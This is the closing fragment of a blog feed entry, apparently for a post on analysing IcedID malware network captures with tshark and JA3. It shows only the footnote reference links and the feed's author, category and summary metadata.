      <p><a href="https://www.wireshark.org/docs/man-pages/tshark.html">https://www.wireshark.org/docs/man-pages/tshark.html</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:3:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p><a href="https://en.wikipedia.org/wiki/List_of_DNS_record_types">https://en.wikipedia.org/wiki/List_of_DNS_record_types</a> <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p><a href="https://en.wikipedia.org/wiki/Domain_fronting">https://en.wikipedia.org/wiki/Domain_fronting</a> <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:6" role="doc-endnote">
      <p><a href="https://www.cloudflare.com/en-gb/learning/network-layer/what-is-an-autonomous-system/">https://www.cloudflare.com/en-gb/learning/network-layer/what-is-an-autonomous-system/</a> <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:7" role="doc-endnote">
      <p><a href="https://en.wikipedia.org/wiki/Windows_10_version_history">https://en.wikipedia.org/wiki/Windows_10_version_history</a> <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:8" role="doc-endnote">
      <p><a href="https://github.com/salesforce/ja3/blob/master/python/README.rst">https://github.com/salesforce/ja3/blob/master/python/README.rst</a> <a href="#fnref:8" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>techevo</name><email>simon at techevo dot uk</email></author><category term="analysis" /><category term="pcap" /><category term="icedid" /><category term="malware" /><category term="network" /><category term="pcap" /><category term="mta" /><category term="tshark" /><category term="capinfos" /><category term="ja3" /><summary type="html"><![CDATA[In a world dominated with endpoint detection and response agents, coming across PCAP may be a rare occurrence.]]></summary></entry></feed>